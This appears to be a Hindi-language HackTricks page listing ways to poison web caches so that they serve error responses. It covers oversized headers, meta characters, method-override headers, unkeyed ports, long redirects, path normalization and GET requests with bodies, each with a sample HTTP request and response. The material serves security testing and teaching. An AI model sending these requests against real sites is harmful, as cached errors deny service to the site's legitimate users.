6.9 KiB
Cache Poisoning to DoS
{{#include ../../banners/hacktricks-training.md}}
Caution
इस पृष्ठ पर आप विभिन्न प्रकार के तरीके पा सकते हैं जो वेब सर्वर को त्रुटियों के साथ प्रतिक्रिया करने के लिए प्रयास करते हैं जो कैश सर्वरों के लिए मान्य हैं
- HTTP Header Oversize (HHO)
एक अनुरोध भेजें जिसमें हेडर का आकार वेब सर्वर द्वारा समर्थित आकार से बड़ा हो लेकिन कैश सर्वर द्वारा समर्थित आकार से छोटा हो। वेब सर्वर 400 प्रतिक्रिया के साथ प्रतिक्रिया करेगा जो कैश किया जा सकता है:
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
- HTTP Meta Character (HMC) & Unexpected values
एक हेडर भेजें जिसमें कुछ हानिकारक मेटा कैरेक्टर्स जैसे और शामिल हों। हमले के सफल होने के लिए आपको पहले कैश को बायपास करना होगा।
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
एक खराब कॉन्फ़िगर किया गया हेडर बस \:
के रूप में एक हेडर हो सकता है।
यदि अप्रत्याशित मान भेजे जाते हैं, जैसे अप्रत्याशित Content-Type: तो यह भी काम कर सकता है।
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
- Unkeyed header
कुछ वेबसाइटें यदि वे अनुरोध में कुछ विशिष्ट हेडर जैसे X-Amz-Website-Location-Redirect: someThing हेडर को देखती हैं तो एक त्रुटि स्थिति कोड लौटाएंगी:
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
Cache: hit
Invalid Header
- HTTP Method Override Attack (HMO)
यदि सर्वर X-HTTP-Method-Override
, X-HTTP-Method
या X-Method-Override
जैसे हेडर के साथ HTTP विधि को बदलने का समर्थन करता है। तो एक वैध पृष्ठ का अनुरोध करना संभव है, विधि को बदलकर ताकि सर्वर इसका समर्थन न करे और एक खराब प्रतिक्रिया कैश हो जाए:
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
- अनकीड पोर्ट
यदि होस्ट हेडर में पोर्ट प्रतिक्रिया में परिलक्षित होता है और कैश कुंजी में शामिल नहीं होता है, तो इसे एक अप्रयुक्त पोर्ट पर पुनर्निर्देशित करना संभव है:
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
- लंबा रीडायरेक्ट DoS
जैसे कि निम्नलिखित उदाहरण में, x को कैश नहीं किया जा रहा है, इसलिए एक हमलावर रीडायरेक्ट प्रतिक्रिया के व्यवहार का दुरुपयोग कर सकता है ताकि रीडायरेक्ट एक ऐसा URL भेजे जो इतना बड़ा हो कि यह एक त्रुटि लौटाए। फिर, लोग जो बिना कैश किए गए x कुंजी के URL तक पहुँचने की कोशिश करेंगे, उन्हें त्रुटि प्रतिक्रिया मिलेगी:
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
- होस्ट हेडर केस सामान्यीकरण
होस्ट हेडर को केस संवेदनशील नहीं होना चाहिए लेकिन कुछ वेबसाइटें इसे लोअरकेस में अपेक्षित करती हैं, यदि यह नहीं है तो एक त्रुटि लौटाती हैं:
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
Cache:miss
Not Found
- पथ सामान्यीकरण
कुछ पृष्ठ त्रुटि कोड लौटाएंगे जो पथ में डेटा URLencode कर रहे हैं, हालाँकि, कैश सर्वर पथ को URLdecode करेगा और URLdecoded पथ के लिए प्रतिक्रिया को संग्रहीत करेगा:
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
Cach:miss
Not Found
- Fat Get
कुछ कैश सर्वर, जैसे Cloudflare, या वेब सर्वर, GET अनुरोधों को रोकते हैं जिनमें एक बॉडी होती है, इसलिए इसका दुरुपयोग करके एक अमान्य प्रतिक्रिया को कैश किया जा सकता है:
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
Cache: hit
संदर्भ
- https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52
- https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------
{{#include ../../banners/hacktricks-training.md}}